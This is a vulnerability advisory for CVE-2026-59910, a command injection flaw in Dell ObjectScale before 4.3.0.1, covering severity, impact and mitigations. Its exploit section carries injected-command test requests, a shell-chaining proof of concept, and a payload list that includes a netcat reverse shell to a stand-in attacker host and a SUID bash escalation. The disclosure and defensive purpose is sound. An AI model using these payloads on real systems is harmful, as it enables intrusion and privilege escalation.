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CVE-2026-59910 is an OS Command Injection vulnerability identified in Dell ObjectScale, a software-defined object storage platform. The vulnerability affects all versions of ObjectScale prior to 4.3.0.1. The root cause is an Improper Neutralization of Special Elements used in an OS Command, as classified under CWE-78. This occurs when user-supplied input is passed to underlying system commands without adequate sanitization or encoding.
The application fails to properly validate or neutralize special characters such as semicolons (;), ampersands (&), pipes (|), and backticks (`). An attacker with low privileges and local access can exploit this flaw by injecting arbitrary shell instructions into a command string. The injected commands execute with the privileges of the service account running Dell ObjectScale, which often has high-level system access.
This vulnerability maps to MITRE ATT&CK technique T1059.004 (Command and Scripting Interpreter). The attack requires local access and low privileges, with no user interaction needed. Dell has assigned a CVSS v3.1 base score of 7.8 (High) with the vector AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H. Successful exploitation leads to Elevation of Privileges, allowing an attacker to execute arbitrary code, exfiltrate data, modify critical system files, or move laterally across the network. As of the CVE publication date (August 17, 2026), no public exploit was available.
DailyCVE Form:
Platform: Dell ObjectScale
Version: < 4.3.0.1
Vulnerability: OS Command Injection
Severity: High (CVSS 7.8)
Date: 08/17/2026
Prediction: 09/15/2026
What Undercode Say:
Check ObjectScale version objectscale --version Verify if system is vulnerable (versions prior to 4.3.0.1) Example: Testing for command injection via a vulnerable endpoint (Educational demonstration only - DO NOT use on production systems) Attempt to inject a simple command to test vulnerability Replace [bash] with actual parameter curl -X POST http://localhost:8080/api/endpoint \ -d "param=test; id > /tmp/exploit_test" Check if command executed successfully cat /tmp/exploit_test If "uid=..." is displayed, the system is vulnerable Clean up test file rm /tmp/exploit_test
Exploit: (Educational Purposes!)
To exploit CVE-2026-59910, an attacker with local, low-privileged access identifies an ObjectScale service endpoint that accepts user input later used in an OS command. The attacker then injects special shell metacharacters to terminate the intended command and append malicious instructions.
Conceptual Proof-of-Concept (Do not use maliciously):
Step 1: Identify a vulnerable input field (e.g., log file name, backup path) Step 2: Inject command using ; (semicolon) to chain commands Original command: /usr/bin/logger -t ObjectScale [bash] Malicious input: "test; /bin/bash -c 'whoami > /tmp/priv_esc'" Resulting executed command: /usr/bin/logger -t ObjectScale test; /bin/bash -c 'whoami > /tmp/priv_esc' Step 3: Check if command executed with elevated privileges cat /tmp/priv_esc If output shows "root" or service account with high privileges, elevation succeeded
Common injection payloads include:
– `; id` – execute `id` command
– `| nc -e /bin/bash attacker_ip 4444` – reverse shell
– `&& chmod +s /bin/bash` – set SUID bit on bash
Protection:
- Upgrade immediately to Dell ObjectScale version 4.3.0.1 or later.
- Apply strict input validation – use allowlists (whitelists) of acceptable characters rather than blocklists.
- Enforce least-privilege principles – run ObjectScale services with the minimum required permissions.
- Use parameterized APIs or safe system call wrappers that separate data from commands.
- Conduct regular security audits and static code analysis focused on command injection patterns.
- Monitor system logs for suspicious command execution patterns (e.g., presence of
;,|, `&` in input fields). - Restrict local access to ObjectScale servers to only trusted administrators.
Impact:
- Confidentiality (High): Attacker can read sensitive files, credentials, and customer data.
- Integrity (High): Attacker can modify or delete critical system files and application data.
- Availability (High): Attacker can disrupt ObjectScale services, causing denial of service.
- Privilege Escalation: Low-privileged users gain root or service-account-level control.
- Lateral Movement: Compromised system can be used as a pivot point to attack internal network resources.
- Compliance Breach: Potential violation of data protection regulations (GDPR, HIPAA) due to data exfiltration.
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Sources:
Reported By: nvd.nist.gov
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